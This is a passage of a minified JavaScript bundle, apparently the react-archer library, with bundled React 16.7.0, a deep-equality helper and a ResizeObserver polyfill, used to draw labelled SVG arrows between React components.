"undefined"!=typeof self&&self,e.exports=function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="lib/",r(r.s=6)}([function(e,t,r){"use strict";e.exports=r(3)},function(e,t,r){"use strict";var n=Array.isArray,o=Object.keys,i=Object.prototype.hasOwnProperty,a="undefined"!=typeof Element;e.exports=function(e,t){try{return function e(t,r){if(t===r)return!0;if(t&&r&&"object"==typeof t&&"object"==typeof r){var s,c,u,f=n(t),l=n(r);if(f&&l){if((c=t.length)!=r.length)return!1;for(s=c;0!=s--;)if(!e(t[s],r[s]))return!1;return!0}if(f!=l)return!1;var p=t instanceof Date,h=r instanceof Date;if(p!=h)return!1;if(p&&h)return t.getTime()==r.getTime();var d=t instanceof RegExp,y=r instanceof RegExp;if(d!=y)return!1;if(d&&y)return t.toString()==r.toString();var b=o(t);if((c=b.length)!==o(r).length)return!1;for(s=c;0!=s--;)if(!i.call(r,b[s]))return!1;if(a&&t instanceof Element&&r instanceof Element)return t===r;for(s=c;0!=s--;)if(!("_owner"===(u=b[s])&&t.$$typeof||e(t[u],r[u])))return!1;return!0}return t!=t&&r!=r}(e,t)}catch(e){if(e.message&&e.message.match(/stack|recursion/i)||-2146828260===e.number)return console.warn("Warning: react-fast-compare does not handle circular references.",e.name,e.message),!1;throw e}}},function(e,t,r){"use strict";(function(e){var r=function(){if("undefined"!=typeof Map)return Map;function e(e,t){var r=-1;return e.some((function(e,n){return e[0]===t&&(r=n,!0)})),r}return function(){function t(){this.__entries__=[]}var r={size:{configurable:!0}};return r.size.get=function(){return this.__entries__.length},t.prototype.get=function(t){var r=e(this.__entries__,t),n=this.__entries__[r];return n&&n[1]},t.prototype.set=function(t,r){var n=e(this.__entries__,t);~n?this.__entries__[n][1]=r:this.__entries__.push([t,r])},t.prototype.delete=function(t){var r=this.__entries__,n=e(r,t);~n&&r.splice(n,1)},t.prototype.has=function(t){return!!~e(this.__entries__,t)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(e,t){void 0===t&&(t=null);for(var r=0,n=this.__entries__;r<n.length;r+=1){var o=n[r];e.call(t,o[1],o[0])}},Object.defineProperties(t.prototype,r),t}()}(),n="undefined"!=typeof window&&"undefined"!=typeof document&&window.document===document,o=void 0!==e&&e.Math===Math?e:"undefined"!=typeof self&&self.Math===Math?self:"undefined"!=typeof window&&window.Math===Math?window:Function("return this")(),i="function"==typeof requestAnimationFrame?requestAnimationFrame.bind(o):function(e){return setTimeout((function(){return e(Date.now())}),1e3/60)},a=2,s=["top","right","bottom","left","width","height","size","weight"],c="undefined"!=typeof MutationObserver,u=function(){this.connected_=!1,this.mutationEventsAdded_=!1,this.mutationsObserver_=null,this.observers_=[],this.onTransitionEnd_=this.onTransitionEnd_.bind(this),this.refresh=function(e,t){var r=!1,n=!1,o=0;function s(){r&&(r=!1,e()),n&&u()}function c(){i(s)}function u(){var e=Date.now();if(r){if(e-o<a)return;n=!0}else r=!0,n=!1,setTimeout(c,t);o=e}return u}(this.refresh.bind(this),20)};u.prototype.addObserver=function(e){~this.observers_.indexOf(e)||this.observers_.push(e),this.connected_||this.connect_()},u.prototype.removeObserver=function(e){var t=this.observers_,r=t.indexOf(e);~r&&t.splice(r,1),!t.length&&this.connected_&&this.disconnect_()},u.prototype.refresh=function(){this.updateObservers_()&&this.refresh()},u.prototype.updateObservers_=function(){var e=this.observers_.filter((function(e){return e.gatherActive(),e.hasActive()}));return e.forEach((function(e){return e.broadcastActive()})),e.length>0},u.prototype.connect_=function(){n&&!this.connected_&&(document.addEventListener("transitionend",this.onTransitionEnd_),window.addEventListener("resize",this.refresh),c?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener("DOMSubtreeModified",this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},u.prototype.disconnect_=function(){n&&this.connected_&&(document.removeEventListener("transitionend",this.onTransitionEnd_),window.removeEventListener("resize",this.refresh),this.mutationsObserver_&&this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&&document.removeEventListener("DOMSubtreeModified",this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},u.prototype.onTransitionEnd_=function(e){var t=e.propertyName;void 0===t&&(t=""),s.some((function(e){return!!~t.indexOf(e)}))&&this.refresh()},u.getInstance=function(){return this.instance_||(this.instance_=new u),this.instance_},u.instance_=null;var f=function(e,t){for(var r=0,n=Object.keys(t);r<n.length;r+=1){var o=n[r];Object.defineProperty(e,o,{value:t[o],enumerable:!1,writable:!1,configurable:!0})}return e},l=function(e){return e&&e.ownerDocument&&e.ownerDocument.defaultView||o},p=v(0,0,0,0);function h(e){return parseFloat(e)||0}function d(e){for(var t=[],r=arguments.length-1;r-- >0;)t[r]=arguments[r+1];return t.reduce((function(t,r){return t+h(e["border-"+r+"-width"])}),0)}var y="undefined"!=typeof SVGGraphicsElement?function(e){return e instanceof l(e).SVGGraphicsElement}:function(e){return e instanceof l(e).SVGElement&&"function"==typeof e.getBBox};function b(e){return n?y(e)?function(e){var t=e.getBBox();return v(0,0,t.width,t.height)}(e):function(e){var t=e.clientWidth,r=e.clientHeight;if(!t&&!r)return p;var n=l(e).getComputedStyle(e),o=function(e){for(var t={},r=0,n=["top","right","bottom","left"];r<n.length;r+=1){var o=n[r],i=e["padding-"+o];t[o]=h(i)}return t}(n),i=o.left+o.right,a=o.top+o.bottom,s=h(n.width),c=h(n.height);if("border-box"===n.boxSizing&&(Math.round(s+i)!==t&&(s-=d(n,"left","right")+i),Math.round(c+a)!==r&&(c-=d(n,"top","bottom")+a)),!function(e){return e===l(e).document.documentElement}(e)){var u=Math.round(s+i)-t,f=Math.round(c+a)-r;1!==Math.abs(u)&&(s-=u),1!==Math.abs(f)&&(c-=f)}return v(o.left,o.top,s,c)}(e):p}function v(e,t,r,n){return{x:e,y:t,width:r,height:n}}var m=function(e){this.broadcastWidth=0,this.broadcastHeight=0,this.contentRect_=v(0,0,0,0),this.target=e};m.prototype.isActive=function(){var e=b(this.target);return this.contentRect_=e,e.width!==this.broadcastWidth||e.height!==this.broadcastHeight},m.prototype.broadcastRect=function(){var e=this.contentRect_;return this.broadcastWidth=e.width,this.broadcastHeight=e.height,e};var g=function(e,t){var r=function(e){var t=e.x,r=e.y,n=e.width,o=e.height,i="undefined"!=typeof DOMRectReadOnly?DOMRectReadOnly:Object,a=Object.create(i.prototype);return f(a,{x:t,y:r,width:n,height:o,top:r,right:t+n,bottom:o+r,left:t}),a}(t);f(this,{target:e,contentRect:r})},w=function(e,t,n){if(this.activeObservations_=[],this.observations_=new r,"function"!=typeof e)throw new TypeError("The callback provided as parameter 1 is not a function.");this.callback_=e,this.controller_=t,this.callbackCtx_=n};w.prototype.observe=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof l(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)||(t.set(e,new m(e)),this.controller_.addObserver(this),this.controller_.refresh())}},w.prototype.unobserve=function(e){if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");if("undefined"!=typeof Element&&Element instanceof Object){if(!(e instanceof l(e).Element))throw new TypeError('parameter 1 is not of type "Element".');var t=this.observations_;t.has(e)&&(t.delete(e),t.size||this.controller_.removeObserver(this))}},w.prototype.disconnect=function(){this.clearActive(),this.observations_.clear(),this.controller_.removeObserver(this)},w.prototype.gatherActive=function(){var e=this;this.clearActive(),this.observations_.forEach((function(t){t.isActive()&&e.activeObservations_.push(t)}))},w.prototype.broadcastActive=function(){if(this.hasActive()){var e=this.callbackCtx_,t=this.activeObservations_.map((function(e){return new g(e.target,e.broadcastRect())}));this.callback_.call(e,t,e),this.clearActive()}},w.prototype.clearActive=function(){this.activeObservations_.splice(0)},w.prototype.hasActive=function(){return this.activeObservations_.length>0};var _="undefined"!=typeof WeakMap?new WeakMap:new r,O=function(e){if(!(this instanceof O))throw new TypeError("Cannot call a class as a function.");if(!arguments.length)throw new TypeError("1 argument required, but only 0 present.");var t=u.getInstance(),r=new w(e,t,this);_.set(this,r)};["observe","unobserve","disconnect"].forEach((function(e){O.prototype[e]=function(){return(t=_.get(this))[e].apply(t,arguments);var t}}));var E=void 0!==o.ResizeObserver?o.ResizeObserver:O;t.a=E}).call(this,r(5))},function(e,t,r){"use strict";var n=r(4),o="function"==typeof Symbol&&Symbol.for,i=o?Symbol.for("react.element"):60103,a=o?Symbol.for("react.portal"):60106,s=o?Symbol.for("react.fragment"):60107,c=o?Symbol.for("react.strict_mode"):60108,u=o?Symbol.for("react.profiler"):60114,f=o?Symbol.for("react.provider"):60109,l=o?Symbol.for("react.context"):60110,p=o?Symbol.for("react.concurrent_mode"):60111,h=o?Symbol.for("react.forward_ref"):60112,d=o?Symbol.for("react.suspense"):60113,y=o?Symbol.for("react.memo"):60115,b=o?Symbol.for("react.lazy"):60116,v="function"==typeof Symbol&&Symbol.iterator;function m(e){for(var t=arguments.length-1,r="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=0;n<t;n++)r+="&args[]="+encodeURIComponent(arguments[n+1]);!function(e,t,r,n,o,i,a,s){if(!e){if(e=void 0,void 0===t)e=Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[r,void 0,void 0,void 0,void 0,void 0],u=0;(e=Error(t.replace(/%s/g,(function(){return c[u++]})))).name="Invariant Violation"}throw e.framesToPop=1,e}}(!1,"Minified React error #"+e+"; visit %s for the full message or use the non-minified dev environment for full errors and additional helpful warnings. ",r)}var g={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},w={};function _(e,t,r){this.props=e,this.context=t,this.refs=w,this.updater=r||g}function O(){}function E(e,t,r){this.props=e,this.context=t,this.refs=w,this.updater=r||g}_.prototype.isReactComponent={},_.prototype.setState=function(e,t){"object"!=typeof e&&"function"!=typeof e&&null!=e&&m("85"),this.updater.enqueueSetState(this,e,t,"setState")},_.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")},O.prototype=_.prototype;var k=E.prototype=new O;k.constructor=E,n(k,_.prototype),k.isPureReactComponent=!0;var j={current:null,currentDispatcher:null},S=Object.prototype.hasOwnProperty,x={key:!0,ref:!0,__self:!0,__source:!0};function P(e,t,r){var n=void 0,o={},a=null,s=null;if(null!=t)for(n in void 0!==t.ref&&(s=t.ref),void 0!==t.key&&(a=""+t.key),t)S.call(t,n)&&!x.hasOwnProperty(n)&&(o[n]=t[n]);var c=arguments.length-2;if(1===c)o.children=r;else if(1<c){for(var u=Array(c),f=0;f<c;f++)u[f]=arguments[f+2];o.children=u}if(e&&e.defaultProps)for(n in c=e.defaultProps)void 0===o[n]&&(o[n]=c[n]);return{$$typeof:i,type:e,key:a,ref:s,props:o,_owner:j.current}}function C(e){return"object"==typeof e&&null!==e&&e.$$typeof===i}var T=/\/+/g,A=[];function M(e,t,r,n){if(A.length){var o=A.pop();return o.result=e,o.keyPrefix=t,o.func=r,o.context=n,o.count=0,o}return{result:e,keyPrefix:t,func:r,context:n,count:0}}function R(e){e.result=null,e.keyPrefix=null,e.func=null,e.context=null,e.count=0,10>A.length&&A.push(e)}function D(e,t,r){return null==e?0:function e(t,r,n,o){var s=typeof t;"undefined"!==s&&"boolean"!==s||(t=null);var c=!1;if(null===t)c=!0;else switch(s){case"string":case"number":c=!0;break;case"object":switch(t.$$typeof){case i:case a:c=!0}}if(c)return n(o,t,""===r?"."+L(t,0):r),1;if(c=0,r=""===r?".":r+":",Array.isArray(t))for(var u=0;u<t.length;u++){var f=r+L(s=t[u],u);c+=e(s,f,n,o)}else if("function"==typeof(f=null===t||"object"!=typeof t?null:"function"==typeof(f=v&&t[v]||t["@@iterator"])?f:null))for(t=f.call(t),u=0;!(s=t.next()).done;)c+=e(s=s.value,f=r+L(s,u++),n,o);else"object"===s&&m("31","[object Object]"==(n=""+t)?"object with keys {"+Object.keys(t).join(", ")+"}":n,"");return c}(e,"",t,r)}function L(e,t){return"object"==typeof e&&null!==e&&null!=e.key?function(e){var t={"=":"=0",":":"=2"};return"$"+(""+e).replace(/[=:]/g,(function(e){return t[e]}))}(e.key):t.toString(36)}function W(e,t){e.func.call(e.context,t,e.count++)}function $(e,t,r){var n=e.result,o=e.keyPrefix;e=e.func.call(e.context,t,e.count++),Array.isArray(e)?F(e,n,r,(function(e){return e})):null!=e&&(C(e)&&(e=function(e,t){return{$$typeof:i,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}(e,o+(!e.key||t&&t.key===e.key?"":(""+e.key).replace(T,"$&/")+"/")+r)),n.push(e))}function F(e,t,r,n,o){var i="";null!=r&&(i=(""+r).replace(T,"$&/")+"/"),D(e,$,t=M(t,i,n,o)),R(t)}var I={Children:{map:function(e,t,r){if(null==e)return e;var n=[];return F(e,n,null,t,r),n},forEach:function(e,t,r){if(null==e)return e;D(e,W,t=M(null,null,t,r)),R(t)},count:function(e){return D(e,(function(){return null}),null)},toArray:function(e){var t=[];return F(e,t,null,(function(e){return e})),t},only:function(e){return C(e)||m("143"),e}},createRef:function(){return{current:null}},Component:_,PureComponent:E,createContext:function(e,t){return void 0===t&&(t=null),(e={$$typeof:l,_calculateChangedBits:t,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null}).Provider={$$typeof:f,_context:e},e.Consumer=e},forwardRef:function(e){return{$$typeof:h,render:e}},lazy:function(e){return{$$typeof:b,_ctor:e,_status:-1,_result:null}},memo:function(e,t){return{$$typeof:y,type:e,compare:void 0===t?null:t}},Fragment:s,StrictMode:c,Suspense:d,createElement:P,cloneElement:function(e,t,r){null==e&&m("267",e);var o=void 0,a=n({},e.props),s=e.key,c=e.ref,u=e._owner;if(null!=t){void 0!==t.ref&&(c=t.ref,u=j.current),void 0!==t.key&&(s=""+t.key);var f=void 0;for(o in e.type&&e.type.defaultProps&&(f=e.type.defaultProps),t)S.call(t,o)&&!x.hasOwnProperty(o)&&(a[o]=void 0===t[o]&&void 0!==f?f[o]:t[o])}if(1==(o=arguments.length-2))a.children=r;else if(1<o){f=Array(o);for(var l=0;l<o;l++)f[l]=arguments[l+2];a.children=f}return{$$typeof:i,type:e.type,key:s,ref:c,props:a,_owner:u}},createFactory:function(e){var t=P.bind(null,e);return t.type=e,t},isValidElement:C,version:"16.7.0",unstable_ConcurrentMode:p,unstable_Profiler:u,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{ReactCurrentOwner:j,assign:n}},U={default:I},q=U&&I||U;e.exports=q.default||q},function(e,t,r){"use strict";var n=Object.getOwnPropertySymbols,o=Object.prototype.hasOwnProperty,i=Object.prototype.propertyIsEnumerable;function a(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},r=0;r<10;r++)t["_"+String.fromCharCode(r)]=r;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,t){for(var r,s,c=a(e),u=1;u<arguments.length;u++){for(var f in r=Object(arguments[u]))o.call(r,f)&&(c[f]=r[f]);if(n){s=n(r);for(var l=0;l<s.length;l++)i.call(r,s[l])&&(c[s[l]]=r[s[l]])}}return c}},function(e,t){var r;r=function(){return this}();try{r=r||new Function("return this")()}catch(e){"object"==typeof window&&(r=window)}e.exports=r},function(e,t,r){"use strict";r.r(t);var n=r(0),o=r.n(n),i=r(1),a=r.n(i),s=r(2);function c(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function u(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var f=function(){function e(t,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),u(this,"x",void 0),u(this,"y",void 0),this.x=t,this.y=r}return function(e,t,r){t&&c(e.prototype,t)}(e,[{key:"add",value:function(t){return new e(this.x+t.x,this.y+t.y)}},{key:"substract",value:function(t){return new e(this.x-t.x,this.y-t.y)}}]),e}(),l=function(e){var t=e.startingPoint,r=e.startingAnchorOrientation,n=e.endingPoint,i=e.endingAnchorOrientation,a=e.strokeColor,s=e.arrowLength,c=e.strokeWidth,u=e.strokeDasharray,f=e.arrowLabel,l=e.arrowMarkerId,p=e.noCurves,h=e.offset,d=2*s,y=t.x,b=t.y,v=function(e,t,r,n,o){var i=function(e){switch(e){case"left":return{arrowX:-1,arrowY:0};case"right":return{arrowX:1,arrowY:0};case"top":return{arrowX:0,arrowY:-1};case"bottom":return{arrowX:0,arrowY:1};default:return{arrowX:0,arrowY:0}}}(o);return{xEnd:e+i.arrowX*r*n/2,yEnd:t+i.arrowY*r*n/2}}(n.x,n.y,d,c,i),m=v.xEnd,g=v.yEnd,w=function(e,t,r,n,o){return"top"===o||"bottom"===o?{xAnchor1:e,yAnchor1:t+(n-t)/2}:"left"===o||"right"===o?{xAnchor1:e+(r-e)/2,yAnchor1:t}:{xAnchor1:e,yAnchor1:t}}(y,b,m,g,r),_=w.xAnchor1,O=w.yAnchor1,E=function(e,t,r,n,o){return"top"===o||"bottom"===o?{xAnchor2:r,yAnchor2:n-(n-t)/2}:"left"===o||"right"===o?{xAnchor2:r-(r-e)/2,yAnchor2:n}:{xAnchor2:r,yAnchor2:n}}(y,b,m,g,i),k=function(e){var t=e.xStart,r=e.yStart,n=e.xAnchor1,o=e.yAnchor1,i=e.xAnchor2,a=e.yAnchor2,s=e.xEnd,c=e.yEnd,u=e.offset,f=e.noCurves?"":"C";if(u&&u>0){var l=Math.atan2(o-r,n-t),p=u*Math.cos(l),h=u*Math.sin(l);t+=p,s-=p,r+=h,c-=h}return"M".concat(t,",").concat(r," ")+"".concat(f).concat(n,",").concat(o," ").concat(i,",").concat(a," ")+"".concat(s,",").concat(c)}({xStart:y,yStart:b,xAnchor1:_,yAnchor1:O,xAnchor2:E.xAnchor2,yAnchor2:E.yAnchor2,xEnd:m,yEnd:g,noCurves:p,offset:h}),j=function(e,t,r,n){return{xLabel:r>e?e:r,yLabel:n>t?t:n,labelWidth:Math.max(Math.abs(r-e),1),labelHeight:Math.max(Math.abs(n-t),1)}}(y,b,m,g),S=j.xLabel,x=j.yLabel,P=j.labelWidth,C=j.labelHeight;return o.a.createElement("g",null,o.a.createElement("path",{d:k,style:{fill:"none",stroke:a,strokeWidth:c,strokeDasharray:u},markerEnd:"url(".concat(location.href.split("#")[0],"#").concat(l,")")}),f&&o.a.createElement("foreignObject",{x:S,y:x,width:P,height:C,style:{overflow:"visible",pointerEvents:"none"}},o.a.createElement("div",{style:{position:"absolute",left:"50%",top:"50%",transform:"translateX(-50%) translateY(-50%)",pointerEvents:"all"}},o.a.createElement("div",null,f))))};function p(e){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function h(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function d(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?h(r,!0).forEach((function(t){g(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):h(r).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function y(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function b(e){return(b=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function v(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function m(e,t){return(m=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function g(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var w={position:"absolute",width:"100%",height:"100%",top:0,left:0};function _(e){return new f(e.left,e.top)}var O=o.a.createContext({}),E=O.Provider,k=O.Consumer,j=function(e){function t(e){var r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),r=function(e,t){return!t||"object"!==p(t)&&"function"!=typeof t?v(e):t}(this,b(t).call(this,e)),g(v(r),"arrowMarkerUniquePrefix",void 0),g(v(r),"refreshScreen",(function(){r.setState(d({},r.state))})),g(v(r),"storeParent",(function(e){r.state.parent||r.setState((function(t){return d({},t,{parent:e})}))})),g(v(r),"getRectFromRef",(function(e){return e?e.getBoundingClientRect():null})),g(v(r),"getParentCoordinates",(function(){var e=r.getRectFromRef(r.state.parent);return e?_(e):new f(0,0)})),g(v(r),"getPointCoordinatesFromAnchorPosition",(function(e,t,n){var o=r.getRectFromRef(r.state.refs[t]);return o?function(e,t){switch(e){case"top":return _(t).add(new f(t.width/2,0));case"bottom":return _(t).add(new f(t.width/2,t.height));case"left":return _(t).add(new f(0,t.height/2));case"right":return _(t).add(new f(t.width,t.height/2));default:return new f(0,0)}}(e,o).substract(n):new f(0,0)})),g(v(r),"registerTransitions",(function(e,t){r.setState((function(r){return{sourceToTargetsMap:d({},r.sourceToTargetsMap,g({},e,t))}}))})),g(v(r),"unregisterTransitions",(function(e){r.setState((function(t){var r=d({},t.sourceToTargetsMap);return delete r[e],{sourceToTargetsMap:r}}))})),g(v(r),"registerChild",(function(e,t){r.state.refs[e]||(r.state.observer.observe(t),r.setState((function(r){return{refs:d({},r.refs,g({},e,t))}})))})),g(v(r),"unregisterChild",(function(e){r.setState((function(t){t.observer.unobserve(t.refs[e]);var r=d({},t.refs);return delete r[e],{refs:r}}))})),g(v(r),"getSourceToTargets",(function(){var e=r.state.sourceToTargetsMap,t=Object.keys(e).map((function(t){return e[t]}));return[].concat.apply([],t)})),g(v(r),"computeArrows",(function(){var e=r.getParentCoordinates();return r.getSourceToTargets().map((function(t){var n=t.source,i=t.target,a=t.label,s=t.style,c=s&&s.strokeColor||r.props.strokeColor,u=s&&s.arrowLength||r.props.arrowLength,f=s&&s.strokeWidth||r.props.strokeWidth,p=s&&s.strokeDasharray||r.props.strokeDasharray,h=s&&s.arrowThickness||r.props.arrowThickness,d=s&&s.noCurves||r.props.noCurves,y=r.props.offset||0,b=n.anchor,v=r.getPointCoordinatesFromAnchorPosition(n.anchor,n.id,e),m=i.anchor,g=r.getPointCoordinatesFromAnchorPosition(i.anchor,i.id,e);return o.a.createElement(l,{key:JSON.stringify({source:n,target:i}),startingPoint:v,startingAnchorOrientation:b,endingPoint:g,endingAnchorOrientation:m,strokeColor:c,arrowLength:u,strokeWidth:f,strokeDasharray:p,arrowLabel:a,arrowThickness:h,arrowMarkerId:r.getMarkerId(n,i),noCurves:!!d,offset:y})}))})),g(v(r),"getMarkerId",(function(e,t){return"".concat(r.arrowMarkerUniquePrefix).concat(e.id).concat(t.id)})),g(v(r),"generateAllArrowMarkers",(function(){return r.getSourceToTargets().map((function(e){var t=e.source,n=e.target,i=(e.label,e.style),a=i&&i.strokeColor||r.props.strokeColor,s=i&&i.arrowLength||r.props.arrowLength,c=i&&i.arrowThickness||r.props.arrowThickness,u="M0,0 L0,".concat(c," L").concat(s-1,",").concat(c/2," z");return o.a.createElement("marker",{id:r.getMarkerId(t,n),key:r.getMarkerId(t,n),markerWidth:s,markerHeight:c,refX:"0",refY:c/2,orient:"auto",markerUnits:"strokeWidth"},o.a.createElement("path",{d:u,fill:a}))}))})),g(v(r),"svgContainerStyle",(function(){return d({},w,{},r.props.svgContainerStyle)}));var n=new s.a((function(){r.refreshScreen()}));r.state={refs:{},sourceToTargetsMap:{},observer:n,parent:null};var i=Math.random().toString().slice(2);return r.arrowMarkerUniquePrefix="arrow".concat(i),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&m(e,t)}(t,e),function(e,t,r){t&&y(e.prototype,t)}(t,[{key:"componentDidMount",value:function(){window&&window.addEventListener("resize",this.refreshScreen)}},{key:"componentWillUnmount",value:function(){var e=this,t=this.state.observer;Object.keys(this.state.refs).map((function(r){t.unobserve(e.state.refs[r])})),window&&window.removeEventListener("resize",this.refreshScreen)}},{key:"render",value:function(){var e=this.computeArrows();return o.a.createElement(E,{value:{registerTransitions:this.registerTransitions,unregisterTransitions:this.unregisterTransitions,registerChild:this.registerChild,unregisterChild:this.unregisterChild}},o.a.createElement("div",{style:d({},this.props.style,{position:"relative"}),className:this.props.className},o.a.createElement("svg",{style:this.svgContainerStyle()},o.a.createElement("defs",null,this.generateAllArrowMarkers()),e),o.a.createElement("div",{style:{height:"100%"},ref:this.storeParent},this.props.children)))}}]),t}(o.a.Component);g(j,"defaultProps",{arrowLength:10,arrowThickness:6,strokeColor:"#f00",strokeWidth:2,svgContainerStyle:{}});var S=j;function x(e){return(x="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function P(){return(P=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e}).apply(this,arguments)}function C(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function T(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?C(r,!0).forEach((function(t){L(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):C(r).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function A(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function M(e){return(M=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function R(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function D(e,t){return(D=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function L(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var W=function(e){function t(){var e,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var n=arguments.length,o=new Array(n),i=0;i<n;i++)o[i]=arguments[i];return r=function(e,t){return!t||"object"!==x(t)&&"function"!=typeof t?R(e):t}(this,(e=M(t)).call.apply(e,[this].concat(o))),L(R(r),"registerTransitions",(function(e){var t=r.generateSourceToTarget(e);if(!r.props.context.registerTransitions)throw new Error('Could not find "registerTransition" in the context of <ArcherElement>. Wrap the component in a <ArcherContainer>.');r.props.context.registerTransitions(r.props.id,t)})),L(R(r),"generateSourceToTarget",(function(e){var t=r.props.id;return e.map((function(e){var r=e.targetId,n=e.sourceAnchor,o=e.targetAnchor,i=e.label,a=e.style;return{source:{id:t,anchor:n},target:{id:r,anchor:o},label:i,style:a}}))})),L(R(r),"unregisterTransitions",(function(){if(!r.props.context.unregisterTransitions)throw new Error('Could not find "unregisterTransitions" in the context of <ArcherElement>. Wrap the component in a <ArcherContainer>.');r.props.context.unregisterTransitions(r.props.id)})),L(R(r),"onRefUpdate",(function(e){if(e){if(!r.props.context.registerChild)throw new Error('Could not find "registerChild" in the context of <ArcherElement>. Wrap the component in a <ArcherContainer>.');r.props.context.registerChild(r.props.id,e)}})),L(R(r),"unregisterChild",(function(){if(!r.props.context.unregisterChild)throw new Error('Could not find "unregisterChild" in the context of <ArcherElement>. Wrap the component in a <ArcherContainer>.');r.props.context.unregisterChild(r.props.id)})),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a 